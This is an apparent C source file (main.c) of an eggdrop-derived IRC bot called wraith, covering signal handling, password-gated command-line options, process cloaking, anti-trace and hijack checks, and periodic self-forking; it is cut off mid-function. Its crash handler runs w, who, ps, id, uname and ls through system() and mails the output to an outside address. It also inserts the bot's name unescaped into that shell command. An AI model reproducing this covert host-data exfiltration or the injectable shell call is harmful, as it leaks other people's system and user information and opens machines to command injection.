main.c 46 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include <libgen.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <netdb.h>
  16. #include <setjmp.h>
  17. #include <unistd.h>
  18. #ifdef HAVE_UNAME
  19. #include <sys/utsname.h>
  20. #endif
  21. #ifdef STOP_UAC /* osf/1 complains a lot */
  22. #include <sys/sysinfo.h>
  23. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  24. #endif
  25. /* Some systems have a working sys/wait.h even though configure will
  26. * decide it's not bsd compatable. Oh well.
  27. */
  28. #include <sys/file.h>
  29. #include <sys/stat.h>
  30. #ifdef S_ANTITRACE
  31. #include <sys/ptrace.h>
  32. #include <sys/wait.h>
  33. #endif
  34. #include <sys/types.h>
  35. #include <pwd.h>
  36. #include "chan.h"
  37. #include "modules.h"
  38. #include "tandem.h"
  39. #include "bg.h"
  40. #ifdef CYGWIN_HACKS
  41. #include <windows.h>
  42. #endif
  43. #define ENCMOD "blowfish"
  44. #ifndef _POSIX_SOURCE
  45. /* Solaris needs this */
  46. #define _POSIX_SOURCE 1
  47. #endif
  48. #ifdef HUB
  49. int hub = 1;
  50. int leaf = 0;
  51. #else
  52. int hub = 0;
  53. int leaf = 1;
  54. #endif
  55. int localhub = 1; //we set this to 0 if we have -c, later.
  56. extern char origbotname[], userfile[], botnetnick[],
  57. thekey[], netpass[], shellpass[], myip6[], myip[], hostname[],
  58. hostname6[], natip[];
  59. extern int dcc_total, conmask, cache_hit, cache_miss,
  60. fork_interval,
  61. local_fork_interval;
  62. extern struct dcc_t *dcc;
  63. extern struct userrec *userlist;
  64. extern struct chanset_t *chanset;
  65. extern Tcl_Interp *interp;
  66. extern tcl_timer_t *timer,
  67. *utimer;
  68. extern jmp_buf alarmret;
  69. int role;
  70. int loading = 0;
  71. char egg_version[1024] = "1.0.11";
  72. int egg_numver = 1001100;
  73. time_t lastfork=0;
  74. #ifdef HUB
  75. int my_port;
  76. #endif
  77. char notify_new[121] = ""; /* Person to send a note to for new users */
  78. int default_flags = 0; /* Default user flags and */
  79. int default_uflags = 0; /* Default userdefinied flags for people
  80. who say 'hello' or for .adduser */
  81. int backgrd = 1; /* Run in the background? */
  82. int con_chan = 0; /* Foreground: constantly display channel
  83. stats? */
  84. uid_t myuid;
  85. int term_z = 0; /* Foreground: use the terminal as a party
  86. line? */
  87. int pscloak = 1;
  88. int updating = 0; /* this is set when the binary is called from itself. */
  89. char tempdir[DIRMAX] = "";
  90. char lock_file[40] = "";
  91. char *binname;
  92. int sdebug = 0; /* enable debug output? */
  93. char configfile[121] = ""; /* Name of the config file */
  94. char textdir[121] = ""; /* Directory for text files that get dumped */
  95. time_t online_since; /* Unix-time that the bot loaded up */
  96. char owner[121] = ""; /* Permanent owner(s) of the bot */
  97. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  98. stored in */
  99. int save_users_at = 0; /* How many minutes past the hour to
  100. save the userfile? */
  101. int notify_users_at = 0; /* How many minutes past the hour to
  102. notify users of notes? */
  103. char version[81]; /* Version info (long form) */
  104. char ver[41]; /* Version info (short form) */
  105. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  106. int do_restart = 0; /* .restart has been called, restart asap */
  107. int die_on_sighup = 0; /* die if bot receives SIGHUP */
  108. int die_on_sigterm = 0; /* die if bot receives SIGTERM */
  109. int resolve_timeout = 10; /* hostname/address lookup timeout */
  110. char quit_msg[1024]; /* quit message */
  111. time_t now; /* duh, now :) */
  112. extern struct cfg_entry CFG_FORKINTERVAL;
  113. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  114. unsigned char md5out[33];
  115. char md5string[33];
  116. /* Traffic stats
  117. */
  118. unsigned long otraffic_irc = 0;
  119. unsigned long otraffic_irc_today = 0;
  120. unsigned long otraffic_bn = 0;
  121. unsigned long otraffic_bn_today = 0;
  122. unsigned long otraffic_dcc = 0;
  123. unsigned long otraffic_dcc_today = 0;
  124. unsigned long otraffic_filesys = 0;
  125. unsigned long otraffic_filesys_today = 0;
  126. unsigned long otraffic_trans = 0;
  127. unsigned long otraffic_trans_today = 0;
  128. unsigned long otraffic_unknown = 0;
  129. unsigned long otraffic_unknown_today = 0;
  130. unsigned long itraffic_irc = 0;
  131. unsigned long itraffic_irc_today = 0;
  132. unsigned long itraffic_bn = 0;
  133. unsigned long itraffic_bn_today = 0;
  134. unsigned long itraffic_dcc = 0;
  135. unsigned long itraffic_dcc_today = 0;
  136. unsigned long itraffic_trans = 0;
  137. unsigned long itraffic_trans_today = 0;
  138. unsigned long itraffic_unknown = 0;
  139. unsigned long itraffic_unknown_today = 0;
  140. #ifdef DEBUG_CONTEXT
  141. /* Context storage for fatal crashes */
  142. char cx_file[16][30];
  143. char cx_note[16][256];
  144. int cx_line[16];
  145. int cx_ptr = 0;
  146. #endif
  147. void fatal(const char *s, int recoverable)
  148. {
  149. int i;
  150. #ifdef LEAF
  151. module_entry *me;
  152. if ((me = module_find("server", 0, 0))) {
  153. Function *func = me->funcs;
  154. (func[SERVER_NUKESERVER]) (s);
  155. }
  156. #endif /* LEAF */
  157. if (s[0])
  158. putlog(LOG_MISC, "*", "* %s", s);
  159. /* flushlogs(); */
  160. for (i = 0; i < dcc_total; i++)
  161. if (dcc[i].sock >= 0)
  162. killsock(dcc[i].sock);
  163. if (!recoverable) {
  164. unlink(pid_file);
  165. bg_send_quit(BG_ABORT);
  166. exit(1);
  167. }
  168. }
  169. int expmem_chanprog(), expmem_users(), expmem_misc(), expmem_dccutil(),
  170. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(),
  171. expmem_modules(int), expmem_tcldcc(),
  172. expmem_tclmisc();
  173. /* For mem.c : calculate memory we SHOULD be using
  174. */
  175. int expected_memory(void)
  176. {
  177. int tot;
  178. tot = expmem_chanprog() + expmem_users() + expmem_misc() +
  179. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  180. expmem_net() + expmem_modules(0) + expmem_tcldcc() +
  181. expmem_tclmisc();
  182. return tot;
  183. }
  184. static void check_expired_dcc()
  185. {
  186. int i;
  187. for (i = 0; i < dcc_total; i++)
  188. if (dcc[i].type && dcc[i].type->timeout_val &&
  189. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  190. if (dcc[i].type->timeout)
  191. dcc[i].type->timeout(i);
  192. else if (dcc[i].type->eof)
  193. dcc[i].type->eof(i);
  194. else
  195. continue;
  196. /* Only timeout 1 socket per cycle, too risky for more */
  197. return;
  198. }
  199. }
  200. #ifdef DEBUG_CONTEXT
  201. static int nested_debug = 0;
  202. void write_debug()
  203. {
  204. int x;
  205. char s[25];
  206. int y;
  207. if (nested_debug) {
  208. /* Yoicks, if we have this there's serious trouble!
  209. * All of these are pretty reliable, so we'll try these.
  210. *
  211. * NOTE: dont try and display context-notes in here, it's
  212. * _not_ safe <cybah>
  213. */
  214. x = creat("DEBUG.DEBUG", 0600);
  215. setsock(x, SOCK_NONSOCK);
  216. if (x >= 0) {
  217. strncpyz(s, ctime(&now), sizeof s);
  218. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  219. dprintf(-x, "Please report problem to bugs@eggheads.org\n");
  220. dprintf(-x, "after a visit to http://www.eggheads.org/bugzilla/\n");
  221. dprintf(-x, "Context: ");
  222. cx_ptr = cx_ptr & 15;
  223. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  224. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  225. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  226. killsock(x);
  227. close(x);
  228. }
  229. bg_send_quit(BG_ABORT);
  230. exit(1); /* Dont even try & tell people about, that may
  231. have caused the fault last time. */
  232. } else
  233. nested_debug = 1;
  234. putlog(LOG_MISC, "*", "* Last context: %s/%d [%s]", cx_file[cx_ptr],
  235. cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  236. x = creat("DEBUG", 0600);
  237. setsock(x, SOCK_NONSOCK);
  238. if (x < 0) {
  239. putlog(LOG_MISC, "*", "* Failed to write DEBUG");
  240. } else {
  241. strncpyz(s, ctime(&now), sizeof s);
  242. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  243. dprintf(-x, "STATICALLY LINKED\n");
  244. /* info library */
  245. dprintf(-x, "Tcl library: %s\n",
  246. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  247. interp->result : "*unknown*");
  248. /* info tclversion/patchlevel */
  249. dprintf(-x, "Tcl version: %s (header version %s)\n",
  250. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  251. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  252. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  253. "*unknown*");
  254. #if HAVE_TCL_THREADS
  255. dprintf(-x, "Tcl is threaded\n");
  256. #endif
  257. #ifdef CCFLAGS
  258. dprintf(-x, "Compile flags: %s\n", CCFLAGS);
  259. #endif
  260. #ifdef LDFLAGS
  261. dprintf(-x, "Link flags: %s\n", LDFLAGS);
  262. #endif
  263. #ifdef STRIPFLAGS
  264. dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
  265. #endif
  266. dprintf(-x, "Context: ");
  267. cx_ptr = cx_ptr & 15;
  268. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  269. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  270. (cx_note[y][0]) ? cx_note[y] : "");
  271. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  272. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  273. tell_dcc(-x);
  274. dprintf(-x, "\n");
  275. debug_mem_to_dcc(-x);
  276. killsock(x);
  277. close(x);
  278. putlog(LOG_MISC, "*", "* Emailed DEBUG to bryan.");
  279. if (1) {
  280. char buff[255];
  281. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  282. system(buff);
  283. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  284. system(buff);
  285. unlink("bleh");
  286. }
  287. unlink("DEBUG");
  288. }
  289. }
  290. #endif
  291. static void got_bus(int z)
  292. {
  293. #ifdef DEBUG_CONTEXT
  294. write_debug();
  295. #endif
  296. fatal("BUS ERROR -- CRASHING!", 1);
  297. #ifdef SA_RESETHAND
  298. kill(getpid(), SIGBUS);
  299. #else
  300. bg_send_quit(BG_ABORT);
  301. exit(1);
  302. #endif
  303. }
  304. static void got_segv(int z)
  305. {
  306. #ifdef DEBUG_CONTEXT
  307. write_debug();
  308. #endif
  309. fatal("SEGMENT VIOLATION -- CRASHING!", 1);
  310. #ifdef SA_RESETHAND
  311. kill(getpid(), SIGSEGV);
  312. #else
  313. bg_send_quit(BG_ABORT);
  314. exit(1);
  315. #endif
  316. }
  317. static void got_fpe(int z)
  318. {
  319. #ifdef DEBUG_CONTEXT
  320. write_debug();
  321. #endif
  322. fatal("FLOATING POINT ERROR -- CRASHING!", 0);
  323. }
  324. static void got_term(int z)
  325. {
  326. #ifdef HUB
  327. write_userfile(-1);
  328. #endif
  329. check_tcl_event("sigterm");
  330. if (die_on_sigterm) {
  331. botnet_send_chat(-1, botnetnick, "ACK, I've been terminated!");
  332. fatal("TERMINATE SIGNAL -- SIGNING OFF", 0);
  333. } else {
  334. putlog(LOG_MISC, "*", "RECEIVED TERMINATE SIGNAL (IGNORING)");
  335. }
  336. }
  337. static void got_stop(int z)
  338. {
  339. exit(1);
  340. putlog(LOG_MISC, "*", "GOT SIGSTOP POSSIBLE HIJACK.");
  341. }
  342. #ifdef S_HIJACKCHECK
  343. static void got_cont(int z)
  344. {
  345. detected(DETECT_SIGCONT, "POSSIBLE HIJACK DETECTED");
  346. }
  347. #endif
  348. static void got_quit(int z)
  349. {
  350. check_tcl_event("sigquit");
  351. putlog(LOG_MISC, "*", "RECEIVED QUIT SIGNAL (IGNORING)");
  352. return;
  353. }
  354. static void got_hup(int z)
  355. {
  356. #ifdef HUB
  357. write_userfile(-1);
  358. #endif
  359. check_tcl_event("sighup");
  360. if (die_on_sighup) {
  361. fatal("HANGUP SIGNAL -- SIGNING OFF", 0);
  362. } else
  363. putlog(LOG_MISC, "*", "Received HUP signal: rehashing...");
  364. do_restart = -2;
  365. return;
  366. }
  367. /* A call to resolver (gethostbyname, etc) timed out
  368. */
  369. static void got_alarm(int z)
  370. {
  371. longjmp(alarmret, 1);
  372. /* -Never reached- */
  373. }
  374. /* Got ILL signal -- log context and continue
  375. */
  376. static void got_ill(int z)
  377. {
  378. check_tcl_event("sigill");
  379. #ifdef DEBUG_CONTEXT
  380. putlog(LOG_MISC, "*", "* Context: %s/%d [%s]", cx_file[cx_ptr],
  381. cx_line[cx_ptr], (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  382. #endif
  383. }
  384. #ifdef DEBUG_CONTEXT
  385. /* Context */
  386. void eggContext(const char *file, int line, const char *module)
  387. {
  388. char x[31], *p;
  389. p = strrchr(file, '/');
  390. if (!module) {
  391. strncpyz(x, p ? p + 1 : file, sizeof x);
  392. } else
  393. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  394. cx_ptr = ((cx_ptr + 1) & 15);
  395. strcpy(cx_file[cx_ptr], x);
  396. cx_line[cx_ptr] = line;
  397. cx_note[cx_ptr][0] = 0;
  398. }
  399. /* Called from the ContextNote macro.
  400. */
  401. void eggContextNote(const char *file, int line, const char *module,
  402. const char *note)
  403. {
  404. char x[31], *p;
  405. p = strrchr(file, '/');
  406. if (!module) {
  407. strncpyz(x, p ? p + 1 : file, sizeof x);
  408. } else
  409. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  410. cx_ptr = ((cx_ptr + 1) & 15);
  411. strcpy(cx_file[cx_ptr], x);
  412. cx_line[cx_ptr] = line;
  413. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  414. }
  415. #endif
  416. #ifdef DEBUG_ASSERT
  417. /* Called from the Assert macro.
  418. */
  419. void eggAssert(const char *file, int line, const char *module)
  420. {
  421. #ifdef DEBUG_CONTEXT
  422. write_debug();
  423. #endif
  424. if (!module)
  425. putlog(LOG_MISC, "*", "* In file %s, line %u", file, line);
  426. else
  427. putlog(LOG_MISC, "*", "* In file %s:%s, line %u", module, file, line);
  428. fatal("ASSERT FAILED -- CRASHING!", 1);
  429. }
  430. #endif
  431. #ifdef LEAF
  432. static void gotspawn(char *);
  433. #endif
  434. int checkedpass = 0;
  435. void checkpass()
  436. {
  437. if (!checkedpass) {
  438. char *gpasswd;
  439. MD5_CTX ctx;
  440. int i = 0;
  441. gpasswd = (char *) getpass(STR("* Enter password: "));
  442. MD5_Init(&ctx);
  443. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  444. MD5_Final(md5out, &ctx);
  445. for(i=0; i<16; i++)
  446. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  447. if (strcmp(shellpass, md5string)) {
  448. fatal("incorrect password.",0);
  449. exit(1); //this shouldn't be reached..
  450. }
  451. gpasswd = 0;
  452. checkedpass = 1;
  453. }
  454. }
  455. void got_ed(char *, char *, char *);
  456. extern int optind;
  457. #ifdef LEAF
  458. #define PARSE_FLAGS "edntvPcDE"
  459. #endif
  460. #ifdef HUB
  461. #define PARSE_FLAGS "edntvDE"
  462. #endif
  463. static void dtx_arg(int argc, char *argv[])
  464. {
  465. int i;
  466. char *p = NULL, *p2 = NULL;
  467. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  468. switch (i) {
  469. #ifdef LEAF
  470. case 'c':
  471. localhub = 0;
  472. p = argv[optind];
  473. if (!localhub)
  474. gotspawn(p);
  475. break;
  476. #endif
  477. case 'n':
  478. checkpass();
  479. backgrd = 0;
  480. break;
  481. case 't':
  482. checkpass();
  483. term_z = 1;
  484. break;
  485. case 'D':
  486. checkpass();
  487. sdebug = 1;
  488. sdprintf("debug enabled");
  489. break;
  490. case 'E':
  491. checkpass();
  492. p = argv[optind];
  493. if (p) {
  494. if (p[0] == '*') {
  495. int n;
  496. putlog(LOG_MISC, "*", "Listing all errors");
  497. for (n = 1; n < ERR_MAX; n++)
  498. putlog(LOG_MISC, "*", "Error #%d: %s", n, werr_tostr(n));
  499. } else {
  500. putlog(LOG_MISC, "*", "Error #%d: %s", atoi(p), werr_tostr(atoi(p)));
  501. }
  502. exit(0);
  503. } else {
  504. fatal("You must specify error number after -E", 0);
  505. }
  506. break;
  507. case 'e':
  508. if (argv[optind])
  509. p = argv[optind];
  510. if (argv[optind+1])
  511. p2 = argv[optind+1];
  512. got_ed("e", p, p2);
  513. break; /* this should never be reached */
  514. case 'd':
  515. if (argv[optind])
  516. p = argv[optind];
  517. if (argv[optind+1])
  518. p2 = argv[optind+1];
  519. got_ed("d", p, p2);
  520. break; /* this should never be reached */
  521. case 'v':
  522. checkpass();
  523. printf("%d\n", egg_numver);
  524. bg_send_quit(BG_ABORT);
  525. exit(0);
  526. break; /* this should never be reached */
  527. #ifdef LEAF
  528. case 'P':
  529. if (getppid() != atoi(argv[optind]))
  530. exit(0);
  531. else {
  532. sdprintf("Updating...");
  533. }
  534. localhub = 1;
  535. updating = 1;
  536. break;
  537. #endif
  538. default:
  539. exit(1);
  540. break;
  541. }
  542. }
  543. }
  544. #ifdef HUB
  545. void backup_userfile()
  546. {
  547. char s[125];
  548. putlog(LOG_MISC, "*", USERF_BACKUP);
  549. egg_snprintf(s, sizeof s, "%s~bak", userfile);
  550. copyfile(userfile, s);
  551. }
  552. #endif
  553. /* Timer info */
  554. static int lastmin = 99;
  555. static time_t then;
  556. static struct tm nowtm;
  557. /* Called once a second.
  558. *
  559. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  560. */
  561. int curcheck = 0;
  562. void core_10secondly()
  563. {
  564. curcheck++;
  565. check_promisc();
  566. if (curcheck==1)
  567. check_trace(0);
  568. #ifdef LEAF
  569. if (localhub) {
  570. #endif
  571. if (curcheck==2)
  572. check_last();
  573. #ifdef LEAF
  574. }
  575. #endif
  576. if (curcheck==3) {
  577. #ifdef LEAF
  578. if (localhub)
  579. check_processes();
  580. #endif
  581. curcheck=0;
  582. }
  583. }
  584. void do_fork() {
  585. int xx;
  586. Context;
  587. xx = fork();
  588. if (xx == -1)
  589. return;
  590. if (xx != 0) {
  591. FILE *fp;
  592. unlink(pid_file);
  593. fp = fopen(pid_file, "w");
  594. if (fp != NULL) {
  595. fprintf(fp, "%u\n", xx);
  596. fclose(fp);
  597. }
  598. }
  599. if (xx) {
  600. #if HAVE_SETPGID
  601. setpgid(xx, xx);
  602. #endif
  603. exit(0);
  604. }
  605. lastfork = now;
  606. }
  607. static void core_secondly()
  608. {
  609. static int cnt = 0;
  610. int miltime, idx;
  611. if (geteuid() != myuid || getuid() != myuid) {
  612. putlog(LOG_MISC, "*", "MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT");
  613. }
  614. do_check_timers(&utimer); /* Secondly timers */
  615. if (fork_interval && backgrd) {
  616. if (now-lastfork > fork_interval)
  617. do_fork();
  618. }
  619. cnt++;
  620. if ((cnt % 3) == 0)
  621. call_hook(HOOK_3SECONDLY);
  622. if ((cnt % 10) == 0) {
  623. call_hook(HOOK_10SECONDLY);
  624. check_expired_dcc();
  625. if (con_chan && !backgrd) {
  626. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  627. tell_verbose_status(DP_STDOUT);
  628. do_module_report(DP_STDOUT, 0, "server");
  629. do_module_report(DP_STDOUT, 0, "channels");
  630. tell_mem_status_dcc(DP_STDOUT);
  631. }
  632. }
  633. if ((cnt % 30) == 0) {
  634. autolink_cycle(NULL); /* attempt autolinks */
  635. call_hook(HOOK_30SECONDLY);
  636. cnt = 0;
  637. }
  638. for (idx = 0; idx < dcc_total; idx++) {
  639. if (dcc[idx].simul > 0) {
  640. if ((now - dcc[idx].simultime) == 60) { /* expire simuls after 60 seconds (re-uses idx, so it wont fill up) */
  641. dcc[idx].simul = -1;
  642. lostdcc(idx);
  643. }
  644. }
  645. }
  646. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  647. if (nowtm.tm_min != lastmin) {
  648. int i = 0;
  649. /* Once a minute */
  650. lastmin = (lastmin + 1) % 60;
  651. call_hook(HOOK_MINUTELY);
  652. check_botnet_pings();
  653. check_expired_ignores();
  654. /* In case for some reason more than 1 min has passed: */
  655. while (nowtm.tm_min != lastmin) {
  656. /* Timer drift, dammit */
  657. debug2("timer: drift (lastmin=%d, now=%d)", lastmin, nowtm.tm_min);
  658. i++;
  659. lastmin = (lastmin + 1) % 60;
  660. call_hook(HOOK_MINUTELY);
  661. }
  662. if (i > 1)
  663. putlog(LOG_MISC, "*", "(!) timer drift -- spun %d minutes", i);
  664. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  665. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  666. call_hook(HOOK_5MINUTELY);
  667. /* flushlogs(); */
  668. if (!miltime) { /* At midnight */
  669. char s[25];
  670. strncpyz(s, ctime(&now), sizeof s);
  671. #ifdef HUB
  672. putlog(LOG_ALL, "*", "--- %.11s%s", s, s + 20);
  673. call_hook(HOOK_BACKUP);
  674. #endif
  675. }
  676. }
  677. if (nowtm.tm_min == notify_users_at)
  678. call_hook(HOOK_HOURLY);
  679. /* These no longer need checking since they are all check vs minutely
  680. * settings and we only get this far on the minute.
  681. */
  682. #ifdef HUB
  683. if (miltime == 300) {
  684. call_hook(HOOK_DAILY);
  685. }
  686. #endif
  687. }
  688. }
  689. #ifdef LEAF
  690. static void check_mypid()
  691. {
  692. module_entry *me;
  693. FILE *fp;
  694. char s[15];
  695. int xx = 0;
  696. char buf2[DIRMAX];
  697. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  698. fp = fopen(buf2, "r");
  699. if (fp != NULL) {
  700. fgets(s, 10, fp);
  701. xx = atoi(s);
  702. if (getpid() != xx) { //we have a major problem if this is happening..
  703. fatal("getpid() does not match pid in file. Possible cloned process, exiting..", 1);
  704. if ((me = module_find("server", 0, 0))) {
  705. Function *func = me->funcs;
  706. (func[SERVER_NUKESERVER]) ("cloned process");
  707. }
  708. botnet_send_bye();
  709. bg_send_quit(BG_ABORT);
  710. exit(1);
  711. }
  712. fclose(fp); //THERE IS THE STUPID BUG OMG
  713. }
  714. }
  715. #endif
  716. static void core_minutely()
  717. {
  718. #ifdef LEAF
  719. check_mypid();
  720. #endif
  721. check_tcl_time(&nowtm);
  722. do_check_timers(&timer);
  723. /* flushlogs(); */
  724. }
  725. static void core_hourly()
  726. {
  727. #ifdef HUB
  728. write_userfile(-1);
  729. #endif
  730. }
  731. static void event_rehash()
  732. {
  733. check_tcl_event("rehash");
  734. }
  735. static void event_prerehash()
  736. {
  737. check_tcl_event("prerehash");
  738. }
  739. static void event_save()
  740. {
  741. check_tcl_event("save");
  742. }
  743. static void event_resettraffic()
  744. {
  745. otraffic_irc += otraffic_irc_today;
  746. itraffic_irc += itraffic_irc_today;
  747. otraffic_bn += otraffic_bn_today;
  748. itraffic_bn += itraffic_bn_today;
  749. otraffic_dcc += otraffic_dcc_today;
  750. itraffic_dcc += itraffic_dcc_today;
  751. otraffic_unknown += otraffic_unknown_today;
  752. itraffic_unknown += itraffic_unknown_today;
  753. otraffic_trans += otraffic_trans_today;
  754. itraffic_trans += itraffic_trans_today;
  755. otraffic_irc_today = otraffic_bn_today = 0;
  756. otraffic_dcc_today = otraffic_unknown_today = 0;
  757. itraffic_irc_today = itraffic_bn_today = 0;
  758. itraffic_dcc_today = itraffic_unknown_today = 0;
  759. itraffic_trans_today = otraffic_trans_today = 0;
  760. }
  761. static void event_loaded()
  762. {
  763. check_tcl_event("loaded");
  764. }
  765. void kill_tcl();
  766. extern module_entry *module_list;
  767. void restart_chons();
  768. void check_static(char *, char *(*)());
  769. #include "mod/static.h"
  770. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_bots(),
  771. init_net(), init_modules(), init_tcl(int, char **), init_botcmd();
  772. void checklockfile()
  773. {
  774. #ifndef LOCK_EX
  775. #define LOCK_EX 2
  776. #endif
  777. #ifndef LOCK_NB
  778. #define LOCK_NB 4
  779. #endif
  780. static int lockfile;
  781. char *p;
  782. p = strrchr(binname, '/');
  783. p++;
  784. snprintf(lock_file, sizeof lock_file, "%s/.lock.%s", tempdir, p);
  785. lockfile = open(lock_file, O_EXCL);
  786. if (lockfile <= 0) {
  787. lockfile = open(lock_file, O_EXCL | O_CREAT, S_IWUSR | S_IRUSR);
  788. }
  789. if (lockfile <= 0) {
  790. exit(1);
  791. }
  792. if (flock(lockfile, LOCK_EX | LOCK_NB))
  793. exit(1);
  794. }
  795. void got_ed(char *which, char *in, char *out)
  796. {
  797. Context;
